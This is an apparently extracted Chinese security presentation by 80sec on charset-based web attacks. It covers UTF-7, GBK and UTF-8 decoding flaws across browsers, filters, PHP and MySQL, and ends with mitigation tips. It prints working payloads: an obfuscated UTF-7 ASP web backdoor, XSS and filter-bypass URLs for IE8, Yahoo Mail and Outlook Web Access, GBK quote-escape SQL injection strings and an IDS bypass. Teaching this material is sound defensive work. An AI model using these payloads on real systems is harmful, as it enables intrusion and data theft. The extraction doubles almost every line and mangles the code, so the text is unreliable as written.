web 应用程序中的字符集攻击

33
Web Web 应应应应应应应应应应应 应应应应应应应应应应应 By 80sec By 80sec http://www.80sec.com http://www.80sec.com

Upload: huslu

Post on 02-Feb-2016

122 views

Category:

Documents


0 download

DESCRIPTION

Web 应用程序中的字符集攻击. By 80sec http://www.80sec.com. 目录. 为什么要讨论字符集攻击 字节流和数据的本质 web 架构层次 web 数据处理流程 字符集处理过程中可能出现的安全问题 web 各个层中的字符集攻击 其他可能出现的攻击 在应用程序中避免出现字符集问题. 为什么要讨论字符集攻击 在某些东方国家里这种攻击变得越来越普遍 很多程序人员对这种攻击还不是很了解 通过分析受字符集漏洞影响的各类 WEB 程序及其实际应用,我们可以更深入的了解和修正此类安全问题. 字节流和数据的本质 - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: Web 应用程序中的字符集攻击

WebWeb 应用程序中的字应用程序中的字符集攻击 符集攻击

By 80secBy 80sec

http://www.80sec.comhttp://www.80sec.com

Page 2: Web 应用程序中的字符集攻击

目录目录 为什么要讨论字符集攻击为什么要讨论字符集攻击 字节流和数据的本质字节流和数据的本质 webweb 架构层次架构层次 webweb 数据处理流程数据处理流程 字符集处理过程中可能出现的安全问题字符集处理过程中可能出现的安全问题 webweb 各个层中的字符集攻击各个层中的字符集攻击 其他可能出现的攻击其他可能出现的攻击 在应用程序中避免出现字符集问题在应用程序中避免出现字符集问题

Page 3: Web 应用程序中的字符集攻击

为什么要讨论字符集攻击为什么要讨论字符集攻击 在某些东方国家里这种攻击变得越来越普遍在某些东方国家里这种攻击变得越来越普遍 很多程序人员对这种攻击还不是很了解很多程序人员对这种攻击还不是很了解 通过分析受字符集漏洞影响的各类通过分析受字符集漏洞影响的各类 WEBWEB 程序程序

及其实际应用,我们可以更深入的了解和修正及其实际应用,我们可以更深入的了解和修正此类安全问题此类安全问题

Page 4: Web 应用程序中的字符集攻击

字节流和数据的本质字节流和数据的本质 字节流本身是一段无意义的数据,在计算机里由二进制表示,程序在处字节流本身是一段无意义的数据,在计算机里由二进制表示,程序在处

理字节流的时候,必须按照一定的规则来判断数据的意义,这个规则就理字节流的时候,必须按照一定的规则来判断数据的意义,这个规则就是字符集。譬如同样的一个是字符集。譬如同样的一个 HTMLHTML ,在不同的字符集情况下可能会显示,在不同的字符集情况下可能会显示乱码,就是理解数据的方式不对,导致问题发生(最终的意义发生改乱码,就是理解数据的方式不对,导致问题发生(最终的意义发生改变),这种问题某种情况下就会导致漏洞变),这种问题某种情况下就会导致漏洞

三个阶段的编码三个阶段的编码 单字节编码单字节编码 (Single Byte Character Set/SBCS(Single Byte Character Set/SBCS 包括包括 asciiascii 和一些控制字符和一些控制字符 )) 多字节编码多字节编码 (MBCS/DBCS)(MBCS/DBCS) 国际化编码国际化编码 (Unicode(Unicode 如如 utf-8utf-8 等等等等 ))

Page 5: Web 应用程序中的字符集攻击

WEBWEB架构层次架构层次

Client[Browser] IDS/WebFirewall Webserver

Database

WebApp(PHP/ ASP)

同样的数据流程会反向走一次

Opreation System

File System

Page 6: Web 应用程序中的字符集攻击

一个正常的一个正常的 webweb 请求数据处理流程请求数据处理流程:: 11 浏览器根据页面指定的字符集将提交的表单处理好发送到指定的服浏览器根据页面指定的字符集将提交的表单处理好发送到指定的服

务器务器 22 如果有如果有 IDS/Web firewallIDS/Web firewall 就会检查提交的数据里有不有跟规则相就会检查提交的数据里有不有跟规则相

匹配的非法数据匹配的非法数据 33 被被 firewallfirewall 允许的请求将抵达允许的请求将抵达 webserverwebserver 如如 apacheapache 和和 iisiis 等等 44 apacheapache 和和 iisiis 将得到的数据按照自身的配置解码,解析整个请求,将得到的数据按照自身的配置解码,解析整个请求,

然后通过内建的一些规则决定请求是抛弃还是处理然后通过内建的一些规则决定请求是抛弃还是处理 55 符合要求的数据包将进入符合要求的数据包将进入 apacheapache 和和 iisiis 的处理流程,一般被建立在的处理流程,一般被建立在

POSTPOST ,, GETGET ,, REQUESTREQUEST 等变量里(等变量里( IISIIS 里里 phpphp 和和 aspasp 的不同)的不同) 66 webappwebapp 通过建立的环境变量来处理整个请求,包括与服务器文件通过建立的环境变量来处理整个请求,包括与服务器文件

系统进行的交互,与服务器系统进行的交互,与服务器 shellshell 进行交互,与数据库服务器进行交互进行交互,与数据库服务器进行交互 77 文件服务器或者数据库服务器从文件服务器或者数据库服务器从 webappwebapp 得到命令,执行成功之后得到命令,执行成功之后

将返回数据给将返回数据给 webappwebapp 或者将数据保存,整个数据反向再进行一次。或者将数据保存,整个数据反向再进行一次。 88 最后数据回到用户的浏览器,浏览器通过请求指定的字符集将页面最后数据回到用户的浏览器,浏览器通过请求指定的字符集将页面

处理结果显示处理。处理结果显示处理。

Page 7: Web 应用程序中的字符集攻击

字符集处理过程中可能出现的安全问题字符集处理过程中可能出现的安全问题 上下层使用的字符集不一致,导致数据的意义上下层使用的字符集不一致,导致数据的意义

出现问题出现问题 处理多字节字符集时出现问题处理多字节字符集时出现问题 对于非法数据的处理上理解不一致对于非法数据的处理上理解不一致 某些字符集的天生缺陷某些字符集的天生缺陷 数据库里的校对规则(前后使用字符集不一致数据库里的校对规则(前后使用字符集不一致

就出现问题)就出现问题) 其他攻击其他攻击

Page 8: Web 应用程序中的字符集攻击

Utf-7Utf-7 编码编码 一种可变长度字符编码方式,用以将 一种可变长度字符编码方式,用以将 Unicode Unicode 字符以 字符以 ASCII ASCII

编码的字符串来呈现,可以应用在电子邮件传输之类的应用编码的字符串来呈现,可以应用在电子邮件传输之类的应用 只包括只包括 asciiascii 字符,不会被过滤字符,不会被过滤 Web hackerWeb hacker 最喜欢的编码最喜欢的编码

MBCSMBCS 编码编码 GBKGBK ,, GB2312GB2312 ,, Big5……Big5……

UnicodeUnicode 编码编码 被广泛使用的国际编码如被广泛使用的国际编码如 Utf-8Utf-8 编码,数据有自我校验性编码,数据有自我校验性

Page 9: Web 应用程序中的字符集攻击

上下层使用的字符集不一致,导致数据的上下层使用的字符集不一致,导致数据的意义出现问题意义出现问题 WebWeb 是一个复杂的系统是一个复杂的系统 各层之间都需要对数据做出适当的解释各层之间都需要对数据做出适当的解释 理解不一致就出现问题理解不一致就出现问题 例子例子

Page 10: Web 应用程序中的字符集攻击

恶意脚本恶意脚本 BypassBypass杀毒软件杀毒软件 杀毒软件无法识别数据中的字符集杀毒软件无法识别数据中的字符集 客户端恶意脚本客户端恶意脚本 bypassbypass 以关键字检测为基础以关键字检测为基础

的杀毒软件的杀毒软件恶意网站逃避查杀恶意网站逃避查杀

服务器端脚本利用字符集逃避杀毒软件的查杀服务器端脚本利用字符集逃避杀毒软件的查杀 被用于各种被用于各种 webweb 后门后门

<%@ codepage=65000%><%e+x-x+x-e+x-c+x-<%@ codepage=65000%><%e+x-x+x-e+x-c+x-u+x-t+x-e+x-(+x-r+x-e+x-q+x-u+x-e+x-s+x-t+x-u+x-t+x-e+x-(+x-r+x-e+x-q+x-u+x-e+x-s+x-t+x-(+x-+ACI-c+ACI)+x-)+x-%>(+x-+ACI-c+ACI)+x-)+x-%>

Page 11: Web 应用程序中的字符集攻击

应用程序的防护策略被绕过应用程序的防护策略被绕过 Baidu css filter bypassBaidu css filter bypass

BlacklistBlacklist策略策略 :expression @import /**/ javascri:expression @import /**/ javascript…..pt…..

允许允许 @charset@charset Exploit Exploit

@charset "utf-7";@charset "utf-7";body{80sec:expre/+ACoAKg/ssion(if(!windobody{80sec:expre/+ACoAKg/ssion(if(!window.x){alert(1);window.x=1})}w.x){alert(1);window.x=1})}

Page 12: Web 应用程序中的字符集攻击

Ids/web app firewall bypassIds/web app firewall bypass Ids/firewall Ids/firewall 模型模型

Ids/firewallIds/firewall 处于处于 webweb 数据流的第二层却要保护位于第五层的应数据流的第二层却要保护位于第五层的应用程序,数据处理上的歧义将导致漏洞用程序,数据处理上的歧义将导致漏洞

处理不一致导致的处理不一致导致的 bypassbypass ( ( webknight webknight ))asp?test=‘ and user>0-- //Blockedasp?test=‘ and user>0-- //Blocked

asp?test=%‘ and user>0-%-//Bypassasp?test=%‘ and user>0-%-//Bypassaspasp 在处理参数时会抛弃不合法的数据在处理参数时会抛弃不合法的数据 -%--%- 的的 %% 被抛弃被抛弃 (aspx(aspx 无无效效 ))

在某些字符集情况由于上下层处理不一致导致更难保护,在某些字符集情况由于上下层处理不一致导致更难保护,如下的如下的 aspasp脚本(脚本( IE8 Xss Filter IE8 Xss Filter 失效)失效)

<%@ codepage=65001%><%@ codepage=65001%><%<%response.write(Server.URLEncode(request("c")))response.write(Server.URLEncode(request("c")))%>%>http://www.foo.com/webk.asp?c=111<%ffscript>alert()</scrihttp://www.foo.com/webk.asp?c=111<%ffscript>alert()</scri

pt>pt>

Page 13: Web 应用程序中的字符集攻击

IEIE 字符集自动识别导致字符集自动识别导致 XSSXSS IEIE识别字符集时可能会达到与应用程序期望相识别字符集时可能会达到与应用程序期望相

反的结果反的结果 根据根据 HeaderHeader 头里指定头里指定 根据头部的数据自行选择根据头部的数据自行选择 MetaMeta头里指定的头里指定的 charsetcharset IE8 Strip-meta tagIE8 Strip-meta tag 攻击攻击

这种特性经常导致处于第这种特性经常导致处于第 66 层的层的 webappwebapp 无法无法很好地预期浏览器的行为而导致各种很好地预期浏览器的行为而导致各种 XSSXSS

Page 14: Web 应用程序中的字符集攻击

Outlook web access XssOutlook web access Xss 以以 HtmlHtml附件里的字符集(附件里的字符集( utf-8utf-8 )为标准来)为标准来

对对 HtmlHtml附件做安全过滤附件做安全过滤 不能有效处理不能有效处理 utf-8utf-8 字符集字符集 (<META(<META标签成为标签成为

乱码乱码 )) 浏览器自动识别出浏览器自动识别出 gb2312gb2312 字符集解析字符集解析 htmlhtml附件,导致附件,导致 XSSXSS

ExploitExploit

Page 15: Web 应用程序中的字符集攻击

测试环境测试环境 Microsoft Exchange Server 2003 SP2, 6.5.7638Microsoft Exchange Server 2003 SP2, 6.5.7638 <?php<?php

$illchar=chr(0xe6).chr(0xb1).chr(0x97);$illchar=chr(0xe6).chr(0xb1).chr(0x97);$charsetcon=str_repeat('$charsetcon=str_repeat(' 汗汗 ',1000);',1000);$evildata=<<<EOT$evildata=<<<EOT<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">EN"><HTML><HEAD><TITLE>Charset Attack Test$charsetcon</TITLE<HTML><HEAD><TITLE>Charset Attack Test$charsetcon</TITLE>><META http-equiv=Content-Type content="text/html; charset=utf-<META http-equiv=Content-Type content="text/html; charset=utf-8">8">XSSXSS<img width=0 src='./80sec/$illchar' title='onerror=alert(/xss/);//'><img width=0 src='./80sec/$illchar' title='onerror=alert(/xss/);//'>EOT;EOT;file_put_contents('evil.html',$evildata);file_put_contents('evil.html',$evildata);?>?>

Page 16: Web 应用程序中的字符集攻击

处理多字节字符集时出现问题处理多字节字符集时出现问题 IEIE错误地处理错误地处理 gb2312gb2312 ,, shitjisshitjis ,, Big5Big5 字符字符

集,只检查第一个字节,没有校验第二位的合集,只检查第一个字节,没有校验第二位的合法性法性

IE6IE6 在处理在处理 utf-8utf-8 字符集时也出现问题字符集时也出现问题 IE8beta2IE8beta2 的的 Xss Filter BypassXss Filter Bypass 应用程序错误地解码应用程序错误地解码 utf-8(php utf8_decode)utf-8(php utf8_decode)

Page 17: Web 应用程序中的字符集攻击

IE/oprea/chrome/safari……IE/oprea/chrome/safari…… 跟跟 firefoxfirefox 相比不相比不安全的解析方式安全的解析方式 例子代码例子代码

<html><meta http-equiv=Content-Type content="text/ht<html><meta http-equiv=Content-Type content="text/html;charset=gb2312"><body><img src="<?php echo $_GEml;charset=gb2312"><body><img src="<?php echo $_GET[src];?>" title="<?php echo $_GET[title];?>"></BODY></T[src];?>" title="<?php echo $_GET[title];?>"></BODY></HTML>HTML>

ExploitExploit php?src=zzzzzzz%BF&title=onerror=alert(/xss/);//php?src=zzzzzzz%BF&title=onerror=alert(/xss/);//

浏览器并不严格检验浏览器并不严格检验 %bf%bf 后的字符是否是有效的后的字符是否是有效的 gb23gb231212 字符,这样导致解析时容易被利用,可利用的地方字符,这样导致解析时容易被利用,可利用的地方包括包括 jsjs ,, csscss ,, htmlhtml标签…标签… ....

Page 18: Web 应用程序中的字符集攻击

Yahoo webmail xssYahoo webmail xss YahooYahoo 修复过在修复过在 htmlhtml 属性里出现的字符集问题属性里出现的字符集问题 字符集问题不只出现在字符集问题不只出现在 htmlhtml 属性,同样存在于属性,同样存在于 csscss ,, jsjs 等地方等地方 YahooYahoo 的的 FilterFilter 基于语法分析,语法分析的时候为非基于语法分析,语法分析的时候为非 MBCSMBCS 字符字符

集集 FilterFilter 没有处理好在没有处理好在 csscss 里的非法字符,导致里的非法字符,导致 MBCSMBCS 环境下的环境下的 xsxs

ss ExploitExploit

<style><style>#x{#x{background: url('http://www.google.cn{chr}');background: urlbackground: url('http://www.google.cn{chr}');background: url('http://;color:red;www.google.cn');('http://;color:red;www.google.cn');}}</style></style><div id="x">codz</div><div id="x">codz</div>

Page 19: Web 应用程序中的字符集攻击

IE8 Xss filter BypassIE8 Xss filter Bypass IE8IE8 的的 XssXss 过滤时以过滤时以 MBCSMBCS作为字符集,没有作为字符集,没有

处理好非法字符,认为处理好非法字符,认为 %bf<%bf< 是一个有效的字是一个有效的字符符

php?test=%bf<script>alert()</script>php?test=%bf<script>alert()</script> 在回显的页面里如果字符集不是在回显的页面里如果字符集不是 MBCSMBCS 将导致将导致

被绕过被绕过 (MBCS(MBCS 的的 IEIE 在显示时同样认为是一个在显示时同样认为是一个字符字符 ))

Page 20: Web 应用程序中的字符集攻击

错误地进行错误地进行 utf-8utf-8 解码解码 Php utf8_decodePhp utf8_decode

PhpPhp 的某些的某些 utf-8utf-8 处理代码没有校验处理代码没有校验 utf-8utf-8 序列的有效性,导致序列的有效性,导致解码出解码出 %00,’,”%00,’,” 等字符等字符

<?php<?php$ill=chr(0xf0).chr(0xc0).chr(0xc0).chr(0xa7);$ill=chr(0xf0).chr(0xc0).chr(0xc0).chr(0xa7);$ill=addslashes($ill);$ill=addslashes($ill);echo utf8_decode("$ill");echo utf8_decode("$ill");echo htmlspecialchars ($ill,ENT_QUOTES,"utf-8" );echo htmlspecialchars ($ill,ENT_QUOTES,"utf-8" );?>?>

Apache Tomcat Directory Traversal VulnerabilityApache Tomcat Directory Traversal Vulnerability http://www.milw0rm.com/exploits/6229http://www.milw0rm.com/exploits/6229 (%c0%ae%c0%a (%c0%ae%c0%a

e)e)转码成转码成 .... PhpPhp第三方编码类第三方编码类

http://www.80sec.com/phpwind-admin-pass-change-vul.htmlhttp://www.80sec.com/phpwind-admin-pass-change-vul.html

Page 21: Web 应用程序中的字符集攻击

对于非法数据的处理上理解不一致对于非法数据的处理上理解不一致 对于一段非法数据一般程序采取的方法有几种对于一段非法数据一般程序采取的方法有几种

替换成替换成 ?? 或者其他的字符或者其他的字符直接抛弃直接抛弃截断截断

这几种都可能带来安全问题这几种都可能带来安全问题

Page 22: Web 应用程序中的字符集攻击

工作在工作在 gb2312gb2312 和和 big5big5 等字符集下的等字符集下的 asp.asp.netnet 可能导致工作在可能导致工作在 webappwebapp 层次之上的层次之上的其他其他 filterfilter 失效失效 (%bf/(%bf/ 被替换为被替换为 ?)?) http://www.foo.com/webk.aspx?test=11<HTML><BODY><http://www.foo.com/webk.aspx?test=11<HTML><BODY><

%bf/xml:namespace prefix=t ns=urn:schemas-microsoft-c%bf/xml:namespace prefix=t ns=urn:schemas-microsoft-com:time><%bf/import namespace="t" implementation="%om:time><%bf/import namespace="t" implementation="%23default%23time2"><t:set attributeName="innerHTML" to23default%23time2"><t:set attributeName="innerHTML" to="XSS%26lt;SCRIPT DEFER%26gt;alert%26%23x28;%26quo="XSS%26lt;SCRIPT DEFER%26gt;alert%26%23x28;%26quot;XSS%26quot;)%26lt;/SCRIPT%26gt;"></BODY></HTML>t;XSS%26quot;)%26lt;/SCRIPT%26gt;"></BODY></HTML>

Page 23: Web 应用程序中的字符集攻击

Mysql charset Truncation vulnerabilityMysql charset Truncation vulnerability MysqlMysql 在存储数据的时候会根据当前数据库的字符集来校验数据,在存储数据的时候会根据当前数据库的字符集来校验数据,

发现非法数据时抛弃其后续数据而导致问题。发现非法数据时抛弃其后续数据而导致问题。 Php codePhp code

<?php<?php$user=$_REQUEST['user'];$user=$_REQUEST['user'];mysql_connect(”localhost”, “root”, “”) ormysql_connect(”localhost”, “root”, “”) ordie(”Could not connect: ” . mysql_error());die(”Could not connect: ” . mysql_error());mysql_select_db(”test”);mysql_select_db(”test”);mysql_query(”SET names utf8″);mysql_query(”SET names utf8″);$result = mysql_query(”SELECT * from test_user where user=’$user’”);$result = mysql_query(”SELECT * from test_user where user=’$user’”);if(trim($user)==” or strlen($user)>20 ){if(trim($user)==” or strlen($user)>20 ){die(”Input user Invalid”);die(”Input user Invalid”);}}if(@mysql_fetch_array($result, MYSQL_NUM)) {if(@mysql_fetch_array($result, MYSQL_NUM)) {die(”already exist”);die(”already exist”);}}else {else {$sql=”insert test_user values (’$user’)”;$sql=”insert test_user values (’$user’)”;mysql_query($sql);mysql_query($sql);echo “$user register OK!”;echo “$user register OK!”;}}mysql_free_result($result);mysql_free_result($result);?> ?>

Page 24: Web 应用程序中的字符集攻击

某些字符集的天生缺陷某些字符集的天生缺陷 某些某些 MBCSMBCS 如如 GB2312GB2312 ,, BIG5BIG5 ,, ShiftjsShiftjs 字字

符集低位包括某些元字符符集低位包括某些元字符 \,[,|,{, `…..\,[,|,{, `….. 这样程序即使对字符集完全处理正确,在处理这样程序即使对字符集完全处理正确,在处理

字节流时,很可能吃掉字节流时,很可能吃掉 \,|,`\,|,` 等字符等字符

Page 25: Web 应用程序中的字符集攻击

Mysql encoding attackMysql encoding attack Set names gbk;Set names gbk; 将导致将导致 MysqlMysql 以以 gbkgbk 字符集字符集

来处理传递过来的来处理传递过来的 SQLSQL 命令命令 Select * from user where user=‘admin’ and pass=‘pass’Select * from user where user=‘admin’ and pass=‘pass’ PhpPhp 在过滤输入的时候通过添加在过滤输入的时候通过添加 \\ 来实现转义来实现转义操作,这样操作,这样 admin%bf’#admin%bf’# 在进入在进入 SqlSql操作时操作时将变为将变为

Select * from user where user=‘admin0xbf\’#’ and pass=‘pSelect * from user where user=‘admin0xbf\’#’ and pass=‘pass’ass’

0xbf\0xbf\ 是一个合法的是一个合法的 gbkgbk 字符,上面的’就逃脱转义,从而实现一个字符,上面的’就逃脱转义,从而实现一个 SSQLQL注入注入

Page 26: Web 应用程序中的字符集攻击

UBBUBB标签标签 XSSXSS 由于数据库的存在,直接的字符集攻击存在的由于数据库的存在,直接的字符集攻击存在的

可能性不大,数据库会对输入做一次校验,非可能性不大,数据库会对输入做一次校验,非法字符将被处理(譬如法字符将被处理(譬如 gbkgbk 环境下环境下 MysqlMysql 无无法输入法输入 %bf<%bf< ))

[][] 被用作被用作 ubbubb标签标签 ,[],[]又属于又属于 gb2312gb2312第二个第二个字节,可以顺利存入数据库字节,可以顺利存入数据库

IEIE 处理处理 gb2312gb2312 等字符集不当,等字符集不当, %bf%22%bf%22 将被将被认为是一个字符认为是一个字符

Page 27: Web 应用程序中的字符集攻击

Php <=5.2.6 php_escape_shell_cmd byPhp <=5.2.6 php_escape_shell_cmd bypasspass PhpPhp负责用户输入的处理(没有字符集)负责用户输入的处理(没有字符集)

Id;Id;转变成转变成 id\;id\; 系统执行用户的输入(系统本地环境变量)系统执行用户的输入(系统本地环境变量) 数据流第数据流第 66 层和第层和第 77 层处理不一,在层处理不一,在 GBKGBK 环环

境下被绕过境下被绕过 Id%5c;Id%5c;转变成转变成 id%5c\;id%5c\;

Page 28: Web 应用程序中的字符集攻击

JavascriptJavascript 应用程序应用程序 (Firefox/Oprea(Firefox/Oprea 同样有效)同样有效) 用用 addslashesaddslashes 和和 htmlspecialcharshtmlspecialchars 过滤用户输入(用户输入允许过滤用户输入(用户输入允许 %bf’%bf’ 的形的形

式)式) ‘‘转换成转换成 \”\” %bf’%bf’转换成转换成 %bf\’%bf\’ ‘‘逃脱转义逃脱转义

<HTML><HTML><HEAD><HEAD><TITLE>80sec test</TITLE><TITLE>80sec test</TITLE><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /></HEAD></HEAD><BODY><BODY><script><script>window.onerror=function(){window.onerror=function(){alert('Vul');alert('Vul');return true;return true;}}</script></script><script>x='[User_IN_PUT]';</script><script>x='[User_IN_PUT]';</script></BODY></BODY></HTML></HTML>

Exploit: http://127.0.0.1/x.php?x=%bf';alert(/xss/);//Exploit: http://127.0.0.1/x.php?x=%bf';alert(/xss/);//

Page 29: Web 应用程序中的字符集攻击

编码的转换时出现问题编码的转换时出现问题 GbkGbk转换到转换到 utf-8utf-8 时(时( \\ 是合法的是合法的 gbkgbk 的第二的第二

序列)序列) Iconf(chr(0xbf).chr(0x5c).chr(0x27),”gbk”,”Iconf(chr(0xbf).chr(0x5c).chr(0x27),”gbk”,”

utf-8”);utf-8”); 0xbf5c270xbf5c27 变成变成 0xe7b897270xe7b89727 0xbf5c270xbf5c27 在在 phpphp 里是安全的里是安全的 0xe7b897270xe7b89727 中的中的 0x270x27逃脱了转义逃脱了转义

Page 30: Web 应用程序中的字符集攻击

数据库里的校对规则(同样可能存在于其他数据库里)数据库里的校对规则(同样可能存在于其他数据库里) 某些时候对同一数据库,前后操作使用字符集不一致,将导致问题某些时候对同一数据库,前后操作使用字符集不一致,将导致问题

mysql> select “mysql> select “ 声”声” =“=“ 生”生” ; //; // 默认使用默认使用 latin1latin1 字符集字符集+-----------++-----------+| "| " 声声 "=""=" 生生 " |" |+-----------++-----------+| 1 || 1 |+-----------++-----------+1 row in set (0.07 sec)1 row in set (0.07 sec)

mysql> set names gbk; //mysql> set names gbk; // 使用使用 gbkgbk 字符集字符集Query OK, 0 rows affected (0.09 sec)Query OK, 0 rows affected (0.09 sec)

mysql> select "mysql> select " 声声 "=""=" 生生 ";";+-----------++-----------+| "| " 声声 "=""=" 生生 " |" |+-----------++-----------+| 0 || 0 |+-----------++-----------+1 row in set (0.08 sec)1 row in set (0.08 sec)

mysql>mysql>如果应用程序没有意识到这里的区别,很可能导致逻辑验证的绕过如果应用程序没有意识到这里的区别,很可能导致逻辑验证的绕过

Page 31: Web 应用程序中的字符集攻击

其他可能的攻击其他可能的攻击 钓鱼钓鱼 XmlXml …………

Page 32: Web 应用程序中的字符集攻击

在应用程序中避免出现字符集问题在应用程序中避免出现字符集问题 用正确的字符集编码理解数据用正确的字符集编码理解数据 理解上下层之间处理数据的方式理解上下层之间处理数据的方式 尽量使用相对安全的编码尽量使用相对安全的编码 utf-8utf-8 处理好非法的数据处理好非法的数据

Page 33: Web 应用程序中的字符集攻击

谢谢谢谢 欢迎讨论欢迎讨论